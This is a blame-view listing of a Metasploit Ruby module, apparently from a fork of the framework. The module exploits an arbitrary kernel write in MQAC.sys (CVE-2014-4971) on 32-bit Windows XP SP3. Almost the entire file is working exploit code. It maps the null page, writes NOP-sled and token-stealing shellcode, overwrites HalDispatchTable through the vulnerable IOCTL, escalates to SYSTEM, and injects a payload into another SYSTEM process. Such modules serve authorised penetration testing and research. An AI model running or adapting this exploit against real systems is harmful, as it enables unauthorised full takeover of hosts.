Files
metasploit-gs/modules/exploits/windows/local/mqac_write.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

183 lines
6.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
2014-07-28 22:04:45 -05:00
def initialize(info = {})
2021-08-27 17:15:33 +01:00
super(
update_info(
info,
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
'Description' => %q{
A vulnerability within the MQAC.sys module allows an attacker to
overwrite an arbitrary location in kernel memory.
This module will elevate itself to SYSTEM, then inject the payload
into another SYSTEM process.
},
'License' => MSF_LICENSE,
'Author' => [
'Matt Bergin', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
2021-08-27 17:15:33 +01:00
'Arch' => [ARCH_X86],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
2021-08-27 17:15:33 +01:00
'Targets' => [
[
'Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
2014-07-28 22:04:45 -05:00
]
],
2021-08-27 17:15:33 +01:00
'References' => [
2014-08-28 10:19:12 -05:00
['CVE', '2014-4971'],
['EDB', '34112'],
2014-07-28 22:04:45 -05:00
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
],
2021-08-27 17:15:33 +01:00
'DisclosureDate' => '2014-07-22',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ]
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_sys_process_attach
stdapi_sys_process_getpid
stdapi_sys_process_memory_write
]
}
2018-10-27 20:54:14 -04:00
}
2021-08-27 17:15:33 +01:00
)
)
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
2014-07-25 09:32:54 +10:00
local_sys = resolve_sid('S-1-5-18')
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
2014-07-22 14:45:00 -04:00
this_pid = session.sys.process.getpid
# Processes that can Blue Screen a host if migrated in to
2014-07-25 09:32:54 +10:00
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
2014-07-25 09:32:54 +10:00
next if dangerous_processes.include?(p['name'])
next if p['pid'] == this_pid
next if p['pid'] == 4
next if p['user'] != system_account_name
2021-08-27 17:15:33 +01:00
return p
end
end
2014-07-22 10:54:10 -04:00
def check
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
2014-07-25 09:32:54 +10:00
print_error('MSMQ installation not found')
2014-07-22 10:54:10 -04:00
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
version = get_version_info
if version.build_number == Msf::WindowsVersion::XP_SP3
2014-07-22 10:54:10 -04:00
return Exploit::CheckCode::Appears
elsif version.xp_or_2003? && !version.windows_server?
vprint_error('Unsupported version of Windows XP detected')
2014-07-22 10:54:10 -04:00
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
2016-10-29 08:11:20 +10:00
if sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end
if is_system?
2014-07-25 09:32:54 +10:00
print_error('This meterpreter session is already running as SYSTEM')
return
end
2014-07-28 22:04:45 -05:00
# Running on Windows XP versions that aren't listed in the supported list
# results in a BSOD and so we should not let that happen.
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
end
base_addr = 0xffff
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return if handle.nil?
2014-07-22 14:45:00 -04:00
this_proc = session.sys.process.open
unless this_proc.memory.writable?(base_addr)
2014-08-15 21:11:37 +01:00
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('V'), nil,
[0xffff].pack('V'),
2014-07-28 22:04:45 -05:00
'MEM_COMMIT|MEM_RESERVE',
'PAGE_EXECUTE_READWRITE')
end
2014-07-22 14:45:00 -04:00
unless this_proc.memory.writable?(base_addr)
print_error('Failed to properly allocate memory')
2014-07-22 14:45:00 -04:00
this_proc.close
return
end
haldispatchtable = find_haldispatchtable
return if haldispatchtable.nil?
2021-08-27 17:15:33 +01:00
print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}")
vprint_status('Getting the hal.dll base address...')
hal_info = find_sys_base('hal.dll')
fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
hal_base = hal_info[0]
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
2021-08-27 17:15:33 +01:00
restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
2014-08-28 10:19:12 -05:00
this_proc.memory.write(0x1, shellcode)
2014-07-22 14:45:00 -04:00
this_proc.close
2014-07-25 09:32:54 +10:00
print_status('Triggering vulnerable IOCTL')
2014-07-28 22:04:45 -05:00
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
1, 0x258,
haldispatchtable + 4, 0)
2014-07-28 22:04:45 -05:00
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
2014-07-22 14:45:00 -04:00
unless is_system?
2014-08-18 13:35:34 -05:00
print_error('Did not get system, exploit failed')
return
end
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
unless execute_shellcode(payload.encoded, nil, proc['pid'])
2014-07-25 09:32:54 +10:00
fail_with(Failure::Unknown, 'Error while executing the payload')
end
end
end